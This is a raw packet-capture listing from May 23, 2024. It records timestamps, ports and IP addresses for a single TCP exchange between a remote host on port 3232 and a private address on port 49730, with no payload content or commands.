May 23, 2024 13:53:32.144115925 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.144131899 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.144184113 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.147459030 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.147476912 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.147802114 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.149054050 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.149071932 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.149620056 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.152316093 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.152333021 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.152348042 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.152391911 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.153959990 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.153976917 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.154027939 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.157162905 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.157179117 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.157237053 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.158869982 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.158930063 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.158973932 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.162055969 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.162074089 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.162116051 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.164011955 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.164027929 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.164042950 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.164077044 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.164113998 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.167356014 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.167372942 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.167423010 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.168912888 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.168953896 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.169006109 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.181891918 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.181921005 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.181941032 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.181961060 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.181977987 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.181988001 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.182013035 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.186830044 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.186872959 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.186892033 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.187952995 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.187980890 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.187999010 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.191504002 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.191528082 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.191565037 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.215720892 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.215791941 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.216223955 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.217478991 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.217528105 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.217549086 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.220900059 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.220961094 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.222340107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.222388029 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.222457886 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.223999023 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.226248980 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.226448059 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.230065107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.230114937 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.230159998 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.230273008 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.231349945 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.231396914 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.231421947 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.234915972 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.234971046 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.234985113 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.236174107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.236222029 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.236246109 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.240128040 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.240189075 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.240240097 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.240283012 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.240418911 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.241353989 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.241403103 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.241485119 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.244915962 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.244962931 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.245074034 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.246264935 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.246313095 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.246438980 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.249737978 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.249785900 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.249860048 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.251147985 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.251194954 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.251239061 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.251260042 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.254518986 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.254566908 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.254600048 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.256144047 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.256191015 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.256211042 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.259285927 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.259335041 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.259357929 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.260917902 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.260972023 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.260983944 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.261024952 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.261070967 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.264060974 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.264111042 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.264578104 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.265765905 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.265813112 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.265865088 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.268801928 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.268836975 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.268893957 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.268939972 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.270587921 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.270632982 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.270654917 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.273588896 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.273607969 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.273683071 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.275408983 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.275432110 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.275466919 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.278316021 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.278337955 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.278357983 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.278417110 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.280174971 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.280194998 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.280284882 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.283065081 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.283083916 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.283140898 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.285010099 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.285032034 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.285051107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.285099030 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.287846088 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.287864923 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.287928104 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.289859056 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.289880991 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.289897919 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.289927006 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.289951086 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.292754889 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.292777061 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.292794943 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.292850971 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.297975063 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.297996044 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.298012972 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.298074007 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.298074007 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.299120903 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.299143076 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.299163103 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.299184084 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.302828074 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.302850008 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.302975893 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.303993940 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.304013968 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.304070950 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.307698011 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.307744980 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.307768106 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.310024023 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.310070992 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.310106993 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.310133934 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.310204983 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.312489033 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.312534094 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.312597036 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.315016985 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.315063953 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.315148115 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.317517042 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.317564011 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.317608118 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.317631006 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.319824934 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.319873095 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.319956064 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.322386980 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.322434902 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.322488070 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.324882984 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.324930906 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.324987888 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.325001955 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.325042963 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.327303886 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.327352047 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.327409983 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.329735994 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.329782963 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.329850912 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.331011057 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.331057072 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.331361055 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.333417892 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.333513975 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.333571911 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.335777998 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.335824966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.335869074 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.335944891 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.338162899 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.338210106 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.340120077 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.340615034 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.340661049 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.340682030 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.342617989 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.342664957 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.342715025 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.344650030 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.344742060 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.344760895 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.344800949 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.344839096 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.346694946 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.346741915 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.346792936 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.348716021 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.348762989 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.348802090 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.348854065 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.350755930 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.350805998 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.350821972 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.352807999 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.352854967 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.352905035 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.354870081 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.354917049 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.354949951 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.354976892 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.355017900 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.356887102 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.356935978 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.357073069 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.358936071 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.358982086 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.359024048 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.359088898 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.361191988 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.361241102 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.361290932 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.361304998 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.361330032 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.363017082 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.363064051 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.363107920 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.363131046 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.365027905 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.365076065 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.365128994 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.367054939 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.367104053 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.367126942 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.367161989 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.367208958 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.368678093 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.368725061 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.368784904 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.370328903 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.370376110 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.371161938 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.371937990 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.371984959 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.372061014 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.373583078 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.373631954 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.374708891 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.375201941 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.375247955 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.375291109 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.375310898 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.376872063 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.376918077 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.376938105 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.378473043 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.378535986 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.379097939 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.379944086 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.379991055 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.380036116 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.381382942 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.381429911 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.381475925 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.381494045 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.382802010 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.382848978 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.382868052 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.384057045 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.384098053 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.384144068 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.384187937 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.385420084 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.385467052 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.385561943 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.386743069 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.386790037 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.386843920 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.388062000 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.388111115 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.388159037 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.388175011 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.389364958 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.389411926 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.389451981 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.389470100 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.389513016 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.390625000 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.390671015 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.391077042 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.391884089 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.391932011 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.391973972 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.391994953 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.393095016 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.393142939 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.393198967 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.394216061 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.394259930 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:32.394280910 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:32.395347118 CEST	3232	49730	66.235.168.242	192.168.2.4
